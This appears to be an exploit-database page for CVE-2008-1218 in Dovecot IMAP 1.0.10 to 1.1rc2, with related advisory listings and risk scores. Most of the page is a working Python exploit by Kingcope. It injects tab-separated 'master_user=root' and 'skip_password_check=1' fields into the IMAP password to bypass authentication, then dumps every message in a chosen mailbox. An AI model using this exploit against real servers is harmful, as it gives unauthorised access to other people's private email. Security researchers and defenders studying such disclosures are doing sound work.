Dovecot IMAP 1.0.10 <= 1.1rc2 Remote Email Disclosure Exploit

🗓️ 15 Mar 2008 00:00:00Reported by RootType

Dovecot IMAP E-mail Disclosure Exploi

Reporter	Title	Published	Views	Family All 40
0day.today	Dovecot IMAP 1.0.10 <= 1.1rc2 Remote Email Disclosure Exploit	14 Mar 200800:00	–	zdt
Circl	CVE-2008-1218	14 Mar 200800:00	–	circl
CVE	CVE-2008-1218	10 Mar 200823:00	–	cve
Cvelist	CVE-2008-1218	10 Mar 200823:00	–	cvelist
Debian	[SECURITY] [DSA 1516-1] New dovecot packages fix privilege escalation	14 Mar 200823:29	–	debian
Debian CVE	CVE-2008-1218	10 Mar 200823:00	–	debiancve
Tenable Nessus	Debian DSA-1516-1 : dovecot - privilege escalation	17 Mar 200800:00	–	nessus
Tenable Nessus	Dovecot passdbs Argument Injection Authentication Bypass	14 Mar 200800:00	–	nessus
Tenable Nessus	Fedora 8 : dovecot-1.0.13-6.fc8 (2008-2464)	13 Mar 200800:00	–	nessus
Tenable Nessus	Fedora 7 : dovecot-1.0.13-18.fc7 (2008-2475)	13 Mar 200800:00	–	nessus


                                                #lame&nbsp;Dovecot&nbsp;IMAP&nbsp;[1.0.10&nbsp;-&gt;&nbsp;1.1rc3]&nbsp;Exploit
#Here's&nbsp;an&nbsp;exploit&nbsp;for&nbsp;the&nbsp;recent&nbsp;TAB&nbsp;vulnerability&nbsp;in&nbsp;Dovecot.
#It's&nbsp;nothing&nbsp;special&nbsp;since&nbsp;in&nbsp;the&nbsp;wild&nbsp;there&nbsp;are&nbsp;few&nbsp;to&nbsp;none
#targets&nbsp;because&nbsp;of&nbsp;the&nbsp;special&nbsp;option&nbsp;which&nbsp;has&nbsp;to&nbsp;be&nbsp;set.
#see&nbsp;CVE&nbsp;Entry&nbsp;CVE-2008-1218
#Exploit&nbsp;written&nbsp;by&nbsp;Kingcope
import&nbsp;sys
import&nbsp;imaplib

print&nbsp;&quot;Dovecot&nbsp;IMAP&nbsp;[1.0.10&nbsp;-&gt;&nbsp;1.1rc2]&nbsp;Exploit&quot;
print&nbsp;&quot;Prints&nbsp;out&nbsp;all&nbsp;E-Mails&nbsp;for&nbsp;any&nbsp;account&nbsp;if&nbsp;special&nbsp;configuration&nbsp;option&nbsp;is&nbsp;set&quot;
print&nbsp;&quot;Exploit&nbsp;written&nbsp;by&nbsp;kingcope\n&quot;

if&nbsp;len(sys.argv)&lt;3:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;&quot;usage:&nbsp;%s&nbsp;&lt;hostname/ip&nbsp;address&gt;&nbsp;&lt;account&gt;&nbsp;[-nossl]&quot;&nbsp;%&nbsp;sys.argv[0]
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(0);

if&nbsp;len(sys.argv)&gt;3&nbsp;and&nbsp;sys.argv[3]&nbsp;==&nbsp;&quot;-nossl&quot;:
	M&nbsp;=&nbsp;imaplib.IMAP4(sys.argv[1])
else:
	M&nbsp;=&nbsp;imaplib.IMAP4_SSL(sys.argv[1])
M.login(sys.argv[2],&nbsp;&quot;\&quot;\tmaster_user=root\tskip_password_check=1\&quot;&quot;);
M.select()
print&nbsp;&quot;login&nbsp;succeeded.&quot;
typ,&nbsp;data&nbsp;=&nbsp;M.search(None,&nbsp;'ALL')
k=0
for&nbsp;num&nbsp;in&nbsp;data[0].split():
&nbsp;&nbsp;&nbsp;&nbsp;typ,&nbsp;data&nbsp;=&nbsp;M.fetch(num,&nbsp;'(RFC822)')
&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;'Message&nbsp;%s\n%s\n'&nbsp;%&nbsp;(num,&nbsp;data[0][1])
&nbsp;&nbsp;&nbsp;&nbsp;k=k+1
M.close()
M.logout()
print&nbsp;&quot;Messages&nbsp;read:&nbsp;%s&quot;&nbsp;%&nbsp;k

15 Mar 2008 00:00Current

0.2Low risk

Vulners AI Score0.2

EPSS0.19705

Dovecot IMAP 1.0.10 &lt;= 1.1rc2 Remote Email Disclosure Exploit

Dovecot IMAP 1.0.10 <= 1.1rc2 Remote Email Disclosure Exploit